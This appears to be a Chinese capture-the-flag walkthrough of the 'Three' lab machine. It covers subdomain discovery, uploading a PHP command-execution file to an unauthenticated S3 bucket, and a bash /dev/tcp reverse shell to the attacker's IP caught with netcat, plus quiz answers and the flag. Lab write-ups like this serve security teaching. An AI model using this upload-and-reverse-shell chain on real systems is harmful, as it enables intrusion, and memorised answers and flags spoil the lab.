前言
- 各位师傅大家好,我是qmx_07,今天给大家讲解Three靶机
渗透过程
信息搜集
- 服务器开启了22 SSH 和 80 HTTP服务端口
扫描目录
- 服务器只有一个image图片文件,ssh 需要账号名密码
绑定域名 进行子域名扫描探测
- 疑似域名,尝试绑定
echo "10.129.227.248 thetoppers.htb" | tee -a /etc/hosts
- gobuster中 vhost 表示探测子域名
- –append-domain 表示 返回正确的子域名
echo "10.129.227.248 s3.thetoppers.htb" | tee -a /etc/hosts
- 绑定子域名
- s3子域名 s3是亚马逊云存储的简单存储服务,全程是Simple Storage Service
awscli连接云存储桶
- 介绍:AWS Command Line Interface (AWS CLI)是一种命令行工具,用于与AWS服务进行交互和管理。它提供了一组命令,可以用于创建、配置和管理AWS资源,以及进行自动化和脚本化操作
- 安装awscli
- 配置awscli,由于这个服务器不对身份进行验证,所以随便写写就行
- 通过云服务访问目录
- 这个云服务 没有进行身份认证,所以可以直接访问
system()函数代表 执行系统命令,参数是cmd
--endpoint=http://s3.thetoppers.htb 代表连接到自定义S3服务节点
s3 代表要与S3服务进行交互
cp 上传文件
xx.php 上传源文件
s3://thetoppers.htb s3协议目标地址
- 上传命令执行文件,并查看是否存在
通过nc反弹会话
- 写一份reverse.sh 反弹会话shell文件,通过bash命令反弹nc会话
bash -i >& /dev/tcp/10.10.16.3/9000 0>&1 ip和端口根据实际决定
- 开启http服务器
python3 -m http.server
- 访问reverse.sh文件 并以bash形式运行
- 监听端口上线服务器
nc全称是netcat,用于创建 TCP/IP 连接、传输数据,以及监听和接收网络连接
- -l:表示监听模式,用于创建一个监听器以等待传入连接。
- -v:表示详细模式,用于显示详细的调试信息。
- -n:表示禁用 DNS 解析,用于显示 IP 地址而不是主机名。
- -p:指定监听的端口号
- flag:a980d99281a28d638ac68b9bf9453c2b
知识点讲解
Amazon S3
- 介绍:亚马逊网络服务(AWS)提供的一种对象存储服务,旨在存储和检索任意量的数据
- 对象存储:S3 将数据存储为对象,而不是传统的文件系统结构。每个对象由数据、元数据和唯一标识符(键)组成。
- 桶(Bucket):S3 中的数据存储在称为“桶”的容器中。每个桶都有一个唯一的名称,并且可以在全球范围内访问。
答案
- 1.服务器上开放了多少个TCP端口?
2
- 2.在网站上找到的域名是?
thetoppers.htb
- 3.哪个linux文件可以指定DNS绑定ip?
/etc/hosts
- 4.子域名是什么?
s3.thetoppers.htb
- 5.子域名上运行了哪些服务?
Amazon S3
- 6.哪个工具可以和aws进行交互?
awscli
- 7.什么命令可以配置aws?
aws configure
- 8.什么命令可以列出s3的所有存储桶?
aws s3 ls
- 9.服务器使用什么后端语言文件?
php
- 10.flag?
a980d99281a28d638ac68b9bf9453c2b
总结
- 今天讲解了S3云服务,awscli连接工具,子域名探测,http开启文件服务器,php命令执行文件,nc反弹会话